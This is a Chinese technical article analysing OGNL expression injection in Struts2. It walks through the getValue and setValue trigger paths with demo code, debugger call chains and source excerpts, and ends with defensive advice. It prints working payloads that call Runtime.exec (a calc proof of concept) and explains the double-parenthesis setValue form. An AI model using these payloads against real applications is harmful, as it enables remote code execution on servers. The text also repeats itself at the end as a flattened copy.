OGNL漏洞原理全解
字数 1217 2025-08-10 13:48:25

OGNL漏洞原理详解

0x00 前言

OGNL(Object-Graph Navigation Language)是一种强大的表达式语言,在Struts2框架中被广泛使用。本文将深入解析OGNL漏洞的两种触发方式:getValue和setValue,揭示Struts2漏洞背后的核心机制。

0x01 漏洞触发方式

OGNL漏洞主要通过两种方式触发:

  1. setValue方式
  2. getValue方式

常见的payload分为两种形式:

  • getValue payload: "@java.lang.Runtime@getRuntime().exec('calc')"
  • setValue payload: (""@java.lang.Runtime@getRuntime().exec('calc')"")(aba)(aba)

0x02 getValue触发分析

基础示例

public static void main(String[] args) throws OgnlException {
    Map context = new HashMap();
    Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, "");
}

完整调用链

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValue:333, Ognl (ognl)
getValue:378, Ognl (ognl)
getValue:357, Ognl (ognl)
main:10, TheDemo

关键流程解析

  1. parseExpression(expression)

    • 将字符串表达式解析为OGNL对象树
    • 用于后续的访问和操作对象属性、方法、集合
  2. getValue方法

    public static Object getValue(String expression, Map context, Object root, Class resultType) throws OgnlException {
        return getValue(parseExpression(expression), context, root, resultType);
    }
    
  3. SimpleNode.getValue

    • 判断是否启用表达式求值跟踪(context.getTraceEvaluations())
    • 默认进入this.evaluateGetValueBody
  4. evaluateGetValueBody

    protected Object evaluateGetValueBody(OgnlContext context, Object source) throws OgnlException {
        context.setCurrentObject(source);
        context.setCurrentNode(this);
        if (!this.constantValueCalculated) {
            this.constantValueCalculated = true;
            this.hasConstantValue = this.isConstant(context);
            if (this.hasConstantValue) {
                this.constantValue = this.getValueBody(context, source);
            }
        }
        return this.hasConstantValue ? this.constantValue : this.getValueBody(context, source);
    }
    
  5. getValueBody

    • 对OGNL树进行遍历、识别和处理
    • 通过反射调用java.lang.Runtime@getRuntime()
    • 递归解析并触发exec方法

0x03 setValue触发分析

基础示例

public static void main(String[] args) throws OgnlException {
    Map context = new HashMap();
    Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec('calc')\")(a)(b)",context,"");
}

完整调用链

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:58, ASTEval (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
setValueBody:67, ASTEval (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:511, Ognl (ognl)
setValue:531, Ognl (ognl)
main:10, TheDemo

关键流程解析

  1. setValue方法

    • 首先解析传入内容,形成对应的node树
    • 核心在于setValueBody方法
  2. setValueBody

    protected void setValueBody(OgnlContext context, Object target, Object value) throws OgnlException {
        Object expr = this.children[0].getValue(context, target);
        Object previousRoot = context.getRoot();
        target = this.children[1].getValue(context, target);
        Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());
        try {
            context.setRoot(target);
            node.setValue(context, target, value);
        } finally {
            context.setRoot(previousRoot);
        }
    }
    
  3. 关键点

    • this.children[0].getValue(context, target)会根据内容不同跳转到不同的getValue方法
    • this.children[0]是未拆分的OGNL表达式时,会进行二次解析
    • 二次解析会触发getValue流程,从而执行恶意代码
  4. 括号数量问题

    • 两个括号:第一个括号内容需要二次解析,触发getValue流程
    • 一个括号:直接执行后续流程,无法触发漏洞
    • 因此payload通常需要两个括号,括号内容可以任意

0x04 总结

  1. getValue方式

    • 直接解析并执行OGNL表达式
    • 通过递归调用最终反射执行目标方法
  2. setValue方式

    • 需要构造特定格式的payload
    • 依赖二次解析机制触发getValue流程
    • 必须包含两个括号以确保触发解析
  3. 防御思路

    • 限制OGNL表达式的执行权限
    • 过滤危险类和方法的调用
    • 及时更新Struts2框架版本

理解这两种触发方式的原理,可以更好地分析Struts2系列漏洞,并为防御措施提供理论基础。

OGNL漏洞原理详解 0x00 前言 OGNL(Object-Graph Navigation Language)是一种强大的表达式语言,在Struts2框架中被广泛使用。本文将深入解析OGNL漏洞的两种触发方式:getValue和setValue,揭示Struts2漏洞背后的核心机制。 0x01 漏洞触发方式 OGNL漏洞主要通过两种方式触发: setValue 方式 getValue 方式 常见的payload分为两种形式: getValue payload: "@java.lang.Runtime@getRuntime().exec('calc')" setValue payload: (""@java.lang.Runtime@getRuntime().exec('calc')"")(aba)(aba) 0x02 getValue触发分析 基础示例 完整调用链 关键流程解析 parseExpression(expression) 将字符串表达式解析为OGNL对象树 用于后续的访问和操作对象属性、方法、集合 getValue方法 SimpleNode.getValue 判断是否启用表达式求值跟踪( context.getTraceEvaluations() ) 默认进入 this.evaluateGetValueBody evaluateGetValueBody getValueBody 对OGNL树进行遍历、识别和处理 通过反射调用 java.lang.Runtime@getRuntime() 递归解析并触发 exec 方法 0x03 setValue触发分析 基础示例 完整调用链 关键流程解析 setValue方法 首先解析传入内容,形成对应的node树 核心在于 setValueBody 方法 setValueBody 关键点 this.children[0].getValue(context, target) 会根据内容不同跳转到不同的getValue方法 当 this.children[0] 是未拆分的OGNL表达式时,会进行二次解析 二次解析会触发getValue流程,从而执行恶意代码 括号数量问题 两个括号:第一个括号内容需要二次解析,触发getValue流程 一个括号:直接执行后续流程,无法触发漏洞 因此payload通常需要两个括号,括号内容可以任意 0x04 总结 getValue方式 直接解析并执行OGNL表达式 通过递归调用最终反射执行目标方法 setValue方式 需要构造特定格式的payload 依赖二次解析机制触发getValue流程 必须包含两个括号以确保触发解析 防御思路 限制OGNL表达式的执行权限 过滤危险类和方法的调用 及时更新Struts2框架版本 理解这两种触发方式的原理,可以更好地分析Struts2系列漏洞,并为防御措施提供理论基础。